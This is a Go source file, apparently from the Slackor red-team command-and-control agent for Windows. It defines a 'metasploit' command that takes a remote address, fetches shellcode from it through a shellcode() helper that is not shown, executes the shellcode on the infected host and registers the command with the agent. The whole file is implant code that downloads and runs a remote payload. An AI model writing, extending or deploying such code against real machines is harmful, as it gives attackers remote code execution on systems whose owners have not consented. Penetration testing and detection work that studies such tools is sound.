github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/pkg/windows/metasploit.go (about)

     1  // +build windows
     2  
     3  package windows
     4  
     5  import (
     6  	"errors"
     7  	"runtime"
     8  
     9  	"github.com/Coalfire-Research/Slackor/pkg/command"
    10  )
    11  
    12  // Metasploit retrieves shellcode and executes it
    13  type Metasploit struct{}
    14  
    15  // Name is the name of the command
    16  func (m Metasploit) Name() string {
    17  	return "metasploit"
    18  }
    19  
    20  // Run retrieves shellcode and executes it
    21  func (m Metasploit) Run(clientID string, jobID string, args []string) (string, error) {
    22  	if len(args) != 1 {
    23  		return "", errors.New("shellcode takes 1 argument")
    24  	}
    25  	if runtime.GOARCH != "386" {
    26  		address := args[0]
    27  		err := shellcode(address, true)
    28  		if err != nil {
    29  			return "", err
    30  		}
    31  	} else {
    32  		return "", errors.New("shellcode module does not work on 32-bit agents")
    33  	}
    34  	return "Shellcode executed.", nil
    35  }
    36  
    37  func init() {
    38  	command.RegisterCommand(Metasploit{})
    39  }